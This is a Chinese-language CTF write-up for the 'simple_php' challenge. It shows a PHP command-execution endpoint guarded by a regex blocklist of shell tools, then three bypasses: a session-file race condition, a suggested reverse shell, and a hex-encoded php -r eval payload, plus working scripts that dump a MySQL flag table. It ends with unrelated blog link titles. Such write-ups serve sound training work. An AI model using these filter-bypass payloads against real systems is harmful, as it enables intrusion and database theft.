<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0); if(isset($_POST['cmd'])){
$cmd = escapeshellcmd($_POST['cmd']);
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}
} show_source(__FILE__);
?>

题目如上过滤了很多

方法一:

经过测试发现可以利用session文件包含

意思就是你传一个post请求包

他会生成一个临sess_+时文件

文件名即为/sess_+PHPSESSID值

临时文件在/tmp/sess_aaaa下

系统会删除这个文件

我们要在它删除之前去访问它(条件竞争)

直接post传cmd=php /tmp/sess_aaaa

两个文件同时去发包

在构建的post包123处写上想要执行的代码即可

<?php system('ls /');?>

执行后没找到flag

怀疑在数据库中

利用php脚本去链接数据库

<?php
// 建立连接
$conn = new mysqli("localhost", "root", "root"); // 检查连接
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
} // 查询所有数据库名
$sql = "SHOW DATABASES";
$result = $conn->query($sql); // 输出数据库名
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
echo "数据库名:" . $row["Database"] . "<br>";
}
} else {
echo "未找到数据库。";
} // 关闭连接
$conn->close();
?>

成功

并且发现可疑数据库

继续查表

<?php
// 数据库连接信息
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "PHP_CMS"; // 创建连接
$conn = new mysqli($servername, $username, $password, $dbname); // 检查连接
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
} // 查询所有表名
$sql = "SHOW TABLES";
$result = $conn->query($sql); // 输出表名
if ($result->num_rows > 0) {
echo "数据库 " . $dbname . " 中的表名:<br>";
while($row = $result->fetch_assoc()) {
echo $row["Tables_in_PHP_CMS"] . "<br>";
}
} else {
echo "该数据库中没有表。";
} // 关闭连接
$conn->close();
?>

发现可疑表F1ag_Se3Re7

接着去查表中内容

<?php
// 数据库连接信息
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "PHP_CMS"; // 创建连接
$conn = new mysqli($servername, $username, $password, $dbname); // 检查连接
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
} // 查询 F1ag_Se3Re7 表中的内容
$sql = "SELECT * FROM F1ag_Se3Re7";
$result = $conn->query($sql); // 输出内容
if ($result->num_rows > 0) {
echo "F1ag_Se3Re7 表中的内容:<br>";
while($row = $result->fetch_assoc()) {
// 输出每行数据
foreach ($row as $key => $value) {
echo $key . ": " . $value . "<br>";
}
echo "<br>";
}
} else {
echo "F1ag_Se3Re7 表中没有数据。";
} // 关闭连接
$conn->close();
?>

得到flag

ctfshow{2c8541c2-ad6e-42a5-93c1-fe2e2fb1243c}

方法二:

和方法一类似

前提是你需要有一个服务器(我的服务器出了些问题就不演示了,有什么难点可以找我讨论)

还是用上面的方法

直接去反弹shell(反弹shell的命令网上有,用php的)

方法三:

这里的环境是比赛时的环境

过滤比较多

但还可以利用php -r

后面用编码绕过

目录中没有flag怀疑在数据库中

接下来连接数据库执行命令

先查库

<?php

$a="echo `mysql -u root -p'root' -e 'use PHP_CMS;show tables;'`;";

$b=bin2hex($a);

echo $b;

?>
结果:6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73686f77207461626c65733b27603b

查表

再查表中内容

<?php

$a="echo `mysql -u root -p'root' -e 'use PHP_CMS;show tables;select * from F1ag_Se3Re7;'`;";

$b=bin2hex($a);

echo $b;

?>

即可

cmd=php -r eval(hex2bin(substr(s6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73686f77207461626c65733b73656c656374202a2066726f6d20463161675f5365335265373b27603b,1)));

也可得到flag

国赛2024 simple_php(三种方法)的更多相关文章

  1. Eclipse插件安装的三种方法

    转自:http://www.blogjava.net/tangzurui/archive/2008/06/30/211669.html  整理了一下格式. (前两种安装方式以多国语言包的安装为例) 1 ...

  2. 像画笔一样慢慢画出Path的三种方法(补充第四种)

    今天大家在群里大家非常热闹的讨论像画笔一样慢慢画出Path的这种效果该如何实现. 北京-LGL 博客号@ligl007发起了这个话题.然后各路高手踊跃发表意见.最后雷叔 上海-雷蒙 博客号@雷蒙之星 ...

  3. JAVA之线程同步的三种方法

    最近接触到一个图片加载的项目,其中有声明到的线程池等资源需要在系统中线程共享,所以就去研究了一下线程同步的知识,总结了三种常用的线程同步的方法,特来与大家分享一下.这三种方法分别是:synchroni ...

  4. java解析xml的三种方法

    java解析XML的三种方法 1.SAX事件解析 package com.wzh.sax; import org.xml.sax.Attributes; import org.xml.sax.SAXE ...

  5. 【Android】Eclipse自动编译NDK/JNI的三种方法

    [Android]Eclipse自动编译NDK/JNI的三种方法 SkySeraph Sep. 18th  2014 Email:skyseraph00@163.com 更多精彩请直接访问SkySer ...

  6. DataTable数据批量写入数据库三种方法比较

    DataTable数据批量写入数据库三种方法比较 标签: it 分类: C#1)   insert循环插入:2)   sqldataadapter.update(dataset,tablename); ...

  7. 转载:WinForm中播放声音的三种方法

    转载:WinForm中播放声音的三种方法 金刚 winForm 播放声音 本文是转载的文章.原文出处:http://blog.csdn.net/jijunwu/article/details/4753 ...

  8. [mysql]三种方法为root账户指定密码

    前言:前段时间把mysql安装后一直没管它,当时就在奇怪为什么mysql登陆不要密码,原来一直用的超用户账户登陆的(简称超级用户) 其实只怪自己太无知,之前一直用的phpbydamin进行的数据库的可 ...

  9. 三种方法查看MySQL数据库的版本

    1.使用-V参数 首先我们想到的肯定就是查看版本号的参数命令,参数为-V(大写字母)或者--version 使用方法: D:\xampp\mysql\bin>mysql -V 或者 D:\xam ...

  10. 【SQL】Oracle分页查询的三种方法

    [SQL]Oracle分页查询的三种方法 采用伪列 rownum 查询前10条记录 ? 1 2 3 4 5 6 7 8 9 10 11 [sql] select * from t_user t whe ...

随机推荐

  1. IDS4 傻瓜式实践指南

    前言: 这是一篇实践指南,不会过多的解释原理(因为我也说不清楚,想了解的同学请移步老张的博客,里面有非常详细的介绍),本篇文章讲解如何简单的使用IDS4来实现单点登录,以及遇到的一些坑实现功能: 1. ...

  2. Python爬图片

    1 import requests 2 from lxml import etree 3 4 header = { 5 "user-agent": "Mozilla/5. ...

  3. 浅谈C#中取消令牌CancellationTokenSource

    基础操作 CancellationTokenSource cancellationTokenSource = new CancellationTokenSource(); cancellationTo ...

  4. QShop商城-快速开始-uni-app小程序

    QShop商城-快速开始-uni-app小程序 工具准备 HBuilderX 此项目为UniApp开发,开发工具为HBuilderX,下载地址: https://hx.dcloud.net.cn/Tu ...

  5. react 高阶函数

    HOC(Higher Order Components)就是一个函数,传给它一个组件,它返回一个新的组件. 高阶组件:就相当于手机壳,通过包装组件,增强组件功能. 实现步骤: 首先创建一个函数 指定函 ...

  6. CF1753

    CF1753 成功因为虚拟机炸了,重新写一遍此文. 都是没有保存的错. A. Make Nonzero Sum 由于 Note that it is not required to minimize ...

  7. zk实践操作

    1.入门基础 应用场景 ZooKeeper主要服务于分布式系统,可以用ZooKeeper来做:统一配置管理.统一命名服务.分布式锁.集群管理. 使用分布式系统就无法避免对节点管理的问题(需要实时感知节 ...

  8. 玩爆你的手机联系人--T9搜索

        自己研究了好几天联系人的T9搜索算法, 先分享出来给大家看看. 欢迎指教.如果有大神有更好的T9搜索算法, 那更好啊,大家一起研究研究,谢谢. 第一部分是比较简单的获取手机联系人. 获取联系人 ...

  9. Java对称加解密算法AES

    Java对称加解密算法AES import org.apache.commons.codec.binary.Base64; import org.apache.commons.lang3.String ...

  10. Kotlin 数据类型详解:数字、字符、布尔值与类型转换指南

    Kotlin 数据类型 在 Kotlin 中,变量的类型由其值决定: 示例 val myNum = 5 // Int val myDoubleNum = 5.99 // Double val myLe ...